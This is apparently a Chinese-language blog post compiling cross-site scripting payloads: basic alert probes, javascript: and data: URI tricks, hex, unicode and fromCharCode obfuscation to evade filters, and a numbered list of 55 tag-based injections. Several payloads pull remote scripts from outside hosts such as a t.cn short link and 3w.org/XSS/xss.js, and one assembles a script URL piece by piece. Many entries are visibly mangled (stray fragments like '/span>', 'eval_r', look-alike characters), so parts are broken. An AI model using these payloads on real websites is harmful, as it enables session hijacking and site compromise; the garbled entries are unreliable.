xss其他標籤下的js用法總結大全
<script src=js地址></script>
實際上我們的測試語句可能爲↓
<script>alert("90sec")</script>
也就是說js語句實際上是位於↓
<script></script>
的中間。
包括<img>、<input>、<object>、<iframe>、<a></a>、<svg>、
標籤等情況下的xss構造。
所以我們就需要了解各種標籤下的js用法,不然很多時候不可以使用<script>
就很麻煩了。
【XSS基本探測payload】
<script>alert(“xss”)</script>
<script>alert(/xss/)</script> //雙引號換成斜槓
<script>alert(‘xss’)</script> //用單引號
<script>alert("xss");</script> //用分號
<script>alert('xss');</script>
<script>alert(/xss/);</script>
<script>alert("jdq") //自動補全
<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //用分號
<script>alert("xss");;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //空格+分號
<script>alert("xss");;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //換行符
<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //回車
單引號被過濾
<script>alert(/jdq/)</script> //用雙引號會把引號內的內容單獨作爲內容 用斜槓,則會連斜槓一起回顯
【jvascript僞協議】迴旋
<a href="javascript:alert(/test/)">xss</a>
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe框架標籤
alert被過濾
<img src="1" οnerrοr=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
【img標記】
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://t.cn/R5UpyOt';>
on事件點擊觸發
οnclick="alert('xss') //注意要用單引號 雙引號不會觸發
on事件-移動觸發
Onmousemove="alert('xss')
【利用函數加密】
eval 函數配合編碼
<script>eval(“js+16進制加密”)</script>
<script>eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")</script>
編碼要執行的語句↓
Alert(“xss”)
【unicode加密】
<script>eval("unicode加密")</script>
//js unicode加密 解決alert()被過濾
<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script>
格式↓
標記eval(“編碼”) 結束標記
【String.fromCharCod函數】
String.fromCharCode需要配合eval來實現,
構造
<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>
eval內容加引號相當於正常js語句來執行
不加引號,則是默認作爲eval的其他參數語句來執
固定格式→<script>eval(String.fromCharCode編碼內容))</script>
【data協議運用】
<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUnE5bjZ6dT48L3NjcmlwdD4="></object>
格式
Data:[<mime type>][;charset=<charset>[;base64],<encoded data>
Data //協議
<mime type> //數據類似
charset=<charset> //指定編碼
[;base64] //被指定的編碼
<encoded data> //定義data協議的編碼
實際編碼↓
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>
base64編碼要執行的內容
特點:不支持IE
【各標籤實戰pyload】
——————————————————-xss其他標籤下的js用法總結大全––——————————–———————————
- (1)普通的XSS JavaScript注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
- (2)IMG標籤XSS使用JavaScript命令
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
- (3)IMG標籤無分號無引號
<IMG SRC=javascript:alert(‘XSS’)>
- (4)IMG標籤大小寫不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
- (5)HTML編碼(必須有分號)
<IMG SRC=javascript:alert(“XSS”)>
- (6)修正缺陷IMG標籤
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
- (7)formCharCode標籤
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
- (8)UTF-8的Unicode編碼
<IMG SRC=jav..省略..S')>
- (9)7位的UTF-8的Unicode編碼是沒有分號的
<IMG SRC=jav..省略..S')>
- (10)十六進制編碼也是沒有分號
<IMG SRC=\'#\'" /span>
- (11)嵌入式標籤,將Javascript分開
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
- (12)嵌入式編碼標籤,將Javascript分開
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
- (13)嵌入式換行符
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
- (14)嵌入式回車
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
- (15)嵌入式多行注入JavaScript,這是XSS極端的例子
<IMG SRC=\'#\'" /span>
- (16)解決限制字符(要求同頁面)
<script>z=’document.’</script>
<script>z=z+’write(“‘</script>
<script>z=z+’<script’</script>
<script>z=z+’ src=ht’</script>
<script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script>
<script>z=z+’.net/1.’</script>
<script>z=z+’js></sc’</script>
<script>z=z+’ript>”)’</script>
<script>eval_r(z)</script>
- (17)空字符
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
- (18)空字符2,空字符在國內基本沒效果.因爲沒有地方可以利用
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
- (19)Spaces和meta前的IMG標籤
<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>
- (20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC=\'#\'" /span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT>
- (21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
- (22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC=\'#\'" /span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT>
- (23)雙開括號
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
- (24)無結束腳本標記(僅火狐等瀏覽器)
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
- (25)無結束腳本標記2
<SCRIPT SRC=//3w.org/XSS/xss.js>
- (26)半開的HTML/JavaScript XSS
<IMG SRC=\'#\'" /span>
- (27)雙開角括號
<iframe src=http://3w.org/XSS.html <
- (28)無單引號 雙引號 分號
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
- (29)換碼過濾的JavaScript
\”;alert(‘XSS’);//
- (30)結束Title標籤
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
- (31)Input Image
<INPUT SRC=\'#\'" /span>
- (32)BODY Image
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
- (33)BODY標籤
<BODY(‘XSS’)>
- (34)IMG Dynsrc
<IMG DYNSRC=\'#\'" /span>
- (35)IMG Lowsrc
<IMG LOWSRC=\'#\'" /span>
- (36)BGSOUND
<BGSOUND SRC=\'#\'" /span>
- (37)STYLE sheet
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
- (38)遠程樣式表
<LINK REL=”stylesheet” HREF=”[url=http://3w.org/xss.css]http://3w.org/xss.css[/url]”>
- (39)List-style-image(列表式)
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
- (40)IMG VBscript
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS
- (41)META鏈接url
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
- (42)Iframe
<IFRAME SRC=\'#\'" /IFRAME>
- (43)Frame
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>
- (44)Table
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
- (45)TD
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
- (46)DIV background-image
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
- (47)DIV background-image後加上額外字符
(1-32&34&39&160&8192-8&13&12288&65279)
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
- (48)DIV expression
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
- (49)STYLE屬性分拆表達
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
- (50)匿名STYLE(組成:開角號和一個字母開頭)
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
- (51)STYLE background-image
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
- (52)IMG STYLE方式
exppression(alert(“XSS”))’>
- (53)STYLE background
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
- (54)BASE
<BASE HREF=”javascript:alert(‘XSS’);//”>
- (55)EMBED標籤,你可以嵌入FLASH,其中包涵XSS
<EMBED SRC=\'#\'" /span>[flash]http://3w.org/XSS/xss.swf[/flash]” ></EMBED>